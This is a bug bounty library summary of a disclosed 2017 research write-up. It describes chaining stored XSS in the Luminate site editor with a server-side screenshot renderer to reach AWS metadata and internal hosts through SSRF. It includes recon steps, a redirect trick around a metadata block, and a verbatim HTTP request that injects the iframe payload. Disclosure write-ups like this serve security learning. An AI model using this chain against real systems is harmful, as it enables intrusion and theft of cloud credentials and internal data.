# How I gained access to chef, docker, AWS, and MongoDB instances in a single request

Stored XSS in Luminate site editor let an iframe payload be rendered by the webshots screenshot service, achieving SSRF to AWS metadata and internal chef/docker/mongo hosts.

- Payout: Research
- Severity: high
- Program: Luminate
- Write-up by: Sam Curry
- Disclosed: 2017-08-03
- Write-up quality: 7/10
- Original: https://samcurry.net/how-i-gained-access-to-chef-docker-aws-and-mongodb-instances-in-a-single-request
- Library page: https://bugbountylibrary.com/r/blog%3Asamcurry-net-how-i-gained-access-to-chef-docker-aws-and-mongodb-instances-in-a-single-request
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:research sev:high tech:aws technique:chained technique:recon vuln:ssrf vuln:xss

**Target:** Site editor element content + webshots screenshot renderer
**Root cause:** The site editor allowed setting an element's content type to text/html with arbitrary markup, and the webshots screenshot service rendered attacker-controlled pages server-side without restricting outbound requests, turning stored XSS into SSRF.
**Steps:**
1. Recon: dirsearch on `_/P/COMGR/ys-172540867-9/mtool/goe/` found `config.json` exposing `catalogapi_url` proxy to `bizapi.store.lumsb.com:4080`.
2. sublist3r on lumsb.com revealed internal hosts: chef.corp, docker.corp, mongodb.corp, graylog.corp, etc.
3. Identify webshots endpoint `https://webshots.luminate.com/img/imc-prod/desktop/tn/vbid-5b84fba5-oofpxx3f` renders arbitrary page content server-side.
4. Create a text element in the editor and POST to `/update_element_content` with `prop_name=TEXT&prop_value=**<iframe src="">**` and content type text/html.
5. Point the iframe at `http://169.254.169.254/` (blocked) then at a bit.ly redirect to the metadata IP; webshots renders it and returns the metadata page as an image.
**How found:** Kept a running notes file of interesting IDs/endpoints; noticed the `vbid` identifier appeared both in editor preview URLs and webshots thumbnail URLs, then realized the screenshot service would render attacker-controlled HTML server-side.
**Exploitation:** Attacker stores an iframe payload in a page element; the webshots screenshot service loads the page server-side and follows the iframe, fetching internal-only URLs (AWS metadata, chef/docker/mongo hosts) and returning the rendered content as an image to the attacker.
**Escalation:** Chained stored XSS with the screenshot renderer to pivot from client-side injection into server-side SSRF against AWS metadata and internal corp services.
**Insight:** When a screenshot/thumbnail service renders user-controlled pages, treat it as an SSRF primitive: any stored XSS or HTML injection becomes a way to make the renderer fetch internal-only URLs like 169.254.169.254.

## Proof of concept (copied exactly from the original report)

**XSS payload via update_element_content request**

```
POST /update_element_content HTTP/1.1
Host: editor.luminate.com
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 580

element_id=vbid-4ec19994-ei0hjxj4&parent_id=vbid-4ec19994-kvrvedax&prop_name=TEXT&prop_value=**<iframe src="">**&stripe_id=**vbid-4ec19994-baocz6kq**&old_prop_name=TEXT&old_prop_value=Lorem+ipsum+dolor+sit+amet%2C+consectetur+adipiscing+elit.+Sed+malesuada+faucibus+ex+nec+ultricies.+Donec+mattis+egestas+nisi+non+pretium.+Suspendisse+nec+eros+ut+erat+facilisis+maximus.%3Cbr%3E&root_id=vbid-4ec19994-tgnbo9kq
```

**Screenshot endpoint with injectable stripe ID**

```
https://webshots.luminate.com/img/imc-prod/desktop/tn/<< insert unique stripe ID to be previewed >>
```

**Proxy endpoint leaking internal catalog API URL**

```
"catalogapi_url": "http://iproxy.store.yahoo.com/store_proxy/proxy.php?url=http://bizapi.store.lumsb.com:4080/catalogapi/v1"
```